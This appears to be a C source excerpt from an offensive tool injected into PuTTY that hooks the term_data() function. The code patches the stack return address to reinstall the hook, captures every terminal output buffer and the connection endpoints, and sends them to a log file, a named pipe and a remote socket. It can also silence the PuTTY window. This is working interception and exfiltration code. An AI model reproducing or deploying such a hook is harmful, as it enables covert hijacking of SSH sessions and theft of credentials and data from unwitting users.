int from_backend(void *frontend, int is_stderr, const char *data, int len) { struct gui_data *inst = (struct gui_data *)frontend; return term_data(inst->term, is_stderr, data, len); }
/* This is the handler function that is called after hooking term_data() * Original function declaration is: * - int term_data(Terminal *term, int is_stderr, const char *data, int len) * The original function handles data received from the server side and which should be * displayed in the main Putty window */ INT TermDataHandler(VOID* term, INT is_stderr, CHAR* data, INT len) { INT i; INT* oldEIPAddr; INT (*term_data)(VOID*, INT, CHAR*, INT); INT res; CHAR ipAddr1[BUFSIZE]; CHAR ipAddr2[BUFSIZE]; MIB_TCPROW_OWNER_PID connInfo; /* First repair the original function code but * ensure that we can reinstall the hook after its execution */ /* Save old EIP of original function to oldEIPTermData */ __asm mov oldEIPAddr, EBP; oldEIPAddr += 1; /* oldEIPAddr += 1 * sizeof(int*) */ oldEIPTermData = (DWORD)*oldEIPAddr; if (bEjectDLL == FALSE) { /* Replace old EIP with a pointer to our code which will reinstall the hook */ *oldEIPAddr = (DWORD)ReinstallHookTermData; } /* Restore original function bytes in order to be usable */ for(i = 0; i < 9; i++) { ((UCHAR*)pTermData)[i] = termDataBytes[i]; } /* Do something useful with the data */ if (len > 0) { /* Send connection information first */ if (connInfoSent == FALSE) { if (GetEstablishedConnOfPid(processID, &connInfo) == FALSE) { sprintf(buffer, "[-] [%i] Could not get information about established connections\n", processID); WritePipeMessage(logPipe, buffer); } else { IPv4ToString(connInfo.dwLocalAddr, ipAddr1, BUFSIZE); sprintf(buffer, "[+] [%i] Local endpoint: %s:%i\n", processID, ipAddr1, ntohs(connInfo.dwLocalPort)); WritePipeMessage(logPipe, buffer); if (strlen(logFileName) > 0) { fwrite(buffer, strlen(buffer), 1, logFd); } if (gsock > 0) { send(gsock, buffer, strlen(buffer), 0); } IPv4ToString(connInfo.dwRemoteAddr, ipAddr2, BUFSIZE); sprintf(buffer, "[+] [%i] Remote endpoint: %s:%i\n", processID, ipAddr2, ntohs(connInfo.dwRemotePort)); WritePipeMessage(logPipe, buffer); if (strlen(logFileName) > 0) { fwrite(buffer, strlen(buffer), 1, logFd); } if (gsock > 0) { send(gsock, buffer, strlen(buffer), 0); } } connInfoSent = TRUE; } if (strlen(logFileName) > 0) { fwrite(data, len, 1, logFd); } if (gsock > 0) { send(gsock, data, len, 0); } sprintf(buffer, "[+] [%i] term_data(): ", processID); if (len > BUFSIZE - 50) { strncat(buffer, data, BUFSIZE - 50); } else { strncat(buffer, data, len); } strcat(buffer, "\n"); WritePipeMessage(logPipe, buffer); /* Discard keyPressBuf because it is already echoed back by the server */ keyPressBuf[0] = 0; } if (outputDisabled == FALSE) { if (bPuttyWindowConnected == TRUE) { /* Call original function */ term_data = (INT(*)(VOID*, INT, CHAR*, INT))pTermData; res = term_data(term, is_stderr, data, len); } else { res = 0; } } else { /* Skip calling original term_data() outputDisabledCount times */ res = 0; outputDisabledCount--; if (outputDisabledCount == 0) { EnablePuttyOutput(); } } return res; }